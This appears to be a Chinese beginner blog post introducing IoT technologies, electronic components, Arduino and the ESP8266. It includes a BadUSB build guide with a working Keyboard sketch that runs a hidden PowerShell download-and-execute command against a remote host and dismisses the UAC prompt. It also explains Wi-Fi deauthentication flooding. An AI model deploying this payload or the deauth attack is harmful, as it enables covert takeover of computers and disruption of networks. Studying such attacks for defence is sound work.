天天看点

IOT入门1

初认IOT

1.物联网,顾名思义:万物皆可联网

涉及到的相关技术:

(1)射频识别技术

谈到物联网,就不得不提到物联网发展中备受关注的射频识别技术(Radio Frequency Identification,简称RFID)。RFID是一种简单的无线系统,由一个询问器(或阅读器)和很多应答器(或标签)组成。标签由耦合元件及芯片组成,每个标签具有唯扩展词条一的电子编码,附着在物体上标识目标对象,它通过天线将射频信息传递给阅读器,阅读器就是读取信息的设备。RFID技术让物品能够“开口说话”。这就赋予了物联网一个特性即可跟踪性。就是说人们可以随时掌握物品的准确位置及其周边环境。

(2)传感网

MEMS是微机电系统( Micro - Electro - Mechanical Systems)的英文缩写。它是由微传感器、微执行器、信号处理和控制电路、通讯接口和电源等部件组成的一体化的微型器件系统。其目标是把信息的获取、处理和执行集成在一起,组成具有多功能的微型系统,集成于大尺寸系统中,从而大幅度地提高系统的自动化、智能化和可靠性水平。它是比较通用的传感器。因为MEMS,赋予了普通物体新的生命,它们有了属于自己的数据传输通路、有了存储功能、操作系统和专门的应用程序,从而形成一个庞大的传感网。这让物联网能够通过物品来实现对人的监控与保护。

(3)M2M系统框架

M2M是Machine-to-Machine/Man的简称,是一种以机器终端智能交互为核心的、网络化的应用与服务。它将使对象实现智能化的控制。M2M技术涉及5个重要的技术部分:机器、M2M硬件、通信网络、中间件、应用。基于云计算平台和智能网络,可以依据传感器网络获取的数据进行决策,改变对象的行为进行控制和反馈。

(4)云计算

云计算旨在通过网络把多个成本相对较低的计算实体整 合成一个具有强大计算能力的完美系统,并借助先进的商业 模式让终端用户可以得到这些强大计算能力的服务。

(5)大数据

在未来十年内,估计会出现约两百五十亿个网络连接设备,比个人计算机、手机和平板计算机等的数量加起来还多,这是一个很庞大的连接(有人甚至估计这个数字还要高得多,超过一千亿)。物联网是连接 “物品” 的巨大网络。这关系是在人与人、人与事、物与物之间。因此,影响物联网最大的因素之一就是数据:数据量、数据的管理和使用

一,Arduino硬件入门基础(入手最简单)

基本介绍:Arduino 是一款简单易用、便于上手的开源电子原型平台,包含硬件部分(各种符合 Arduino 规范的开发板)和软件部分(Arduino IDE和相关的开发包)。

硬件部分(或称开发板)由微控制器(MCU)、闪存(Flash)以及一组通用输入/输出接口(GPIO)等构成,你可以将它理解为是一块微型电脑主板。

软件部分则主要由PC端的 Arduino IDE 以及相关的板级支持包(BSP)和丰富的第三方函数库组成

环境多:Arduino,c/c++,lua等等

开源性:你后期想选版子的话大多不用选意大利进口的,因为盗版的功能一样,价格亲民,只是没有logo

下面是准备学习Arduino硬件的基本知识

1.1认识基础的电子元件

基础元件图片转载于:https://baijiahao.baidu.com/s?id=1647201992646793285&wfr=spider&for=pc

基础元件:

1.电阻器(变电阻器)

图片:https://ftp.bmp.ovh/imgs/2020/08/429b1e6c807a0c09.png

电阻又分成:电位器,滑动触电电位器,热敏电阻器,光敏,湿敏,压敏,气敏电阻器

2.二级管

图片;https://ftp.bmp.ovh/imgs/2020/08/8cf577b835e1d282.bmp

二极管:普通,发光,发电二极管

3.电容器

图片:https://ftp.bmp.ovh/imgs/2020/08/d4e4d8dfc413787f.bmp

电容:极性,微调,单联,多联电容

4.继电器与干簧管

图片:https://ftp.bmp.ovh/imgs/2020/08/df47fe42bee829b5.bmp

继电器:电磁继电器,干簧管

5.焊锡枪

焊锡枪:松香(助焊膏)锡线,高温海绵

1.2Arduino环境

Arduino官网:https://www.arduino.cc/ 这里下载Arduino软件

1.3选版

1.ESP8266-NodeMCU,这个版子价格亲民并支持WIFI功能(新手推荐),数字输入输出引脚10个(全部可以作为PWM引脚) 某宝几十就可以买到

ESP8266核心文档:https://pan.baidu.com/s/1bqxLxeR(转载于太极创客的网盘)

1.4基础代码

打开Arduino以后会有这个基础代码:

void setup() {

// put your setup code here, to run once:

}

void loop() {

// put your main code here, to run repeatedly:

}

分析:第一个void setup(){ } 这个代码的意思是第一个执行的命令

void loop() {} 这个是循环执行的命令

1.5代码拓展:

pinMode(LEDPin,OUTPUT); //设置引脚模式

参数1 引脚

参数2 OUTPUT 输出;INPUT

输入用在setup()函数里

digitalWrite(LEDPin,HIGH); //设置引脚输出高电平或低电平

参数1 引脚

参数2 HIGH 高电平; LOW 低电平

delay(t); 延时

单位 毫秒

delay有个缺点就是:在给定的时间间隔内是不能做其他操作

实例展示:badusb

简介

通过硬件直接插入对方电脑,让对方电脑执行代码,达到干扰、控制主机或者窃取信息等目的。

威胁

BadUSB的威胁在于:恶意代码存在于U盘的固件中,PC上的杀毒软件无法访问到U盘存放固件的区域,因此也就意味着杀毒软件和U盘格式化都无法应对BadUSB的攻击。

原理

硬件知识基础

HID攻击

HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备,例如键盘、鼠标与游戏杆等。不过HID设备并不一定要有人机接口,只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。

Teensy

攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小而且功能完整的单片机开发系统,它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。

攻击流程

Bad-Usb插入后,会模拟键盘鼠标对电脑进行操作,通过这些操作打开电脑的命令终端,并执行一条命令,这条命令将从指定网址下载其他代码并于后台静默运行。这些代码功能包括:窃取信息、反弹shell、发送邮件等,从而实现控制目标机或者窃取信息的目的。

硬件

1286芯片或者2303芯片的U盘,我用的是某宝70rmb的

软件

1 Arduino IDE

2 Teensyduino

http://www.pjrc.com/teensy/td_123/teensyduino.exe

下载后双击运行,安装的时候会有一步安装设备驱动,按提示安装之。

注意,安装时要求手动选择Arduino IDE的安装位置,此时选择之前步骤zip的解压目录即可。

安装成功后运行arduino.exe会发现这里有了许多可选项:

我们根据之前案例中使用的硬件,按图中所示,选择Arduino Leonardo这一项

制作过程

1 硬件连接IDE

    硬件插入电脑

    打开Arduino IDE

    工具->版->选择“Arduino Leonardo”

    工具->Port->选择“COM* (Arduino Leonardo)”

    现在可以看到IDE右下角出现“Arduino Leonardo on COM*”

    这里写图片描述

2 代码写入硬件

    复制如下代码到IDE中(代码在后面)

    这里写图片描述

    将代码中的http://www.cdxy.me/main.ps1改成自己的域名

    点击IDE左上角 对号图标 验证,然后点击 箭头图标 上传代码到硬件,没报错就OK了

将硬件重新插入电脑,此时会看到电脑自动执行代码的全部动画过程

void setup() {

    delay(5000);

    Keyboard.press(KEY_LEFT_CTRL);

    Keyboard.press(KEY_ESC);

    Keyboard.releaseAll();

    delay(500);

    Keyboard.print("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://www.cdxy.me/main.ps1');");

    Keyboard.press(KEY_LEFT_CTRL);

    Keyboard.press(KEY_LEFT_SHIFT);

    Keyboard.press(KEY_RETURN);

    Keyboard.releaseAll();

    delay(2500);

    Keyboard.press(KEY_LEFT_ALT);

    Keyboard.press('y');  

    Keyboard.releaseAll();  

    delay(1500);

 }

void loop() {}

代码解释:

插入后等待五秒,

按下ctrl+esc,(作用:在任何界面打开开始菜单)

等待半秒,

模拟输入一个字符串,并回车执行(作用:在开始菜单执行命令)

等待2.5秒,更改焦点,模拟键盘输入y(作用:绕过uac,得到系统许可)

二.

1.1ESP8266(一个神奇的东西)

价格亲民,自带WiFi模块

ESP8266WIFI模块的主要功能

ESP8266可以实现的主要功能包括:串口透传,PWM调控,GPIO控制。

串口透传:数据传输,传输的可靠性好,最大的传输速率为:460800bps。

PWM 调控:灯光调节,三色LED调节,电机调速等。

GPIO控制:控制开关,继电器等

该模块有三种工作模式,大家可以根据自己的具体情况来选择:

STA 模式:ESP8266 模块通过路由器连接互联网,手机或电脑通过互联网实现对设备的远程控制。

AP 模式:ESP8266 模块作为热点,手机或电脑直接与模块连接,实现局域网无线控制。

STA+AP 模式:两种模式的共存模式,即可以通过互联网控制可实现无缝切换,方便操作。

对了:别忘了买面包线和面包板

1、使用AT指令进行操作:这是最常见的方式,也是最简单是一种方式。无需编程,使用PC端的串口助手配合简单的指令就可以实现,也可以配合单片机发送指令使用

2、LUA语言编程:这是一种单独8266编程的方式,可以不依靠单片机和串口调试软件,直接把程序编写到8266内部。

3、Arduino 开发环境编程:这个接触过Arduino的都会比较熟悉。可以直接在Arduino ide的环境下使用Arduino的开发方式进行开发(万恶的Arduino)

实例展示:WiFi杀手(仅供学习)

WI-FI杀手主要利用取消身份验证洪水攻击,取消身份验证洪水攻击的原理是一个 AP 连接了路由器在正常访问网络,这个时候 Hacker 利用自己电脑或者其他设备进行伪造取消身份认证的报文,路由器就会以为是 客户端发过来的需要和客户端断开连接,已经连接的设备会自动断开。

WI-FI杀手的详细工作流程如下。

(1)客户端的连接这个 WiFi 发送认证请求,AP收到然后给与客户认证响 应;

(2)客户端再发送认证请求,AP 再发送认证响应客户端传输数据给 AP;

(3)此时攻击者发送取消身份认证,客户端还是在发送数据,结果 AP Blocked(本意是此路不通)不接受客户端的数据;

(4)AP 就发送取消身份认证,客户端就断开连接了(攻击者让 AP 误以为 是客户端发送的解除认证,AP 就发送解除认证给客户端从而解除认证了),如果攻击者不停止攻击的话你怎么连接都连接不上去的。

怎么做WiFi杀手:基本就是刷固件,上后台

继续阅读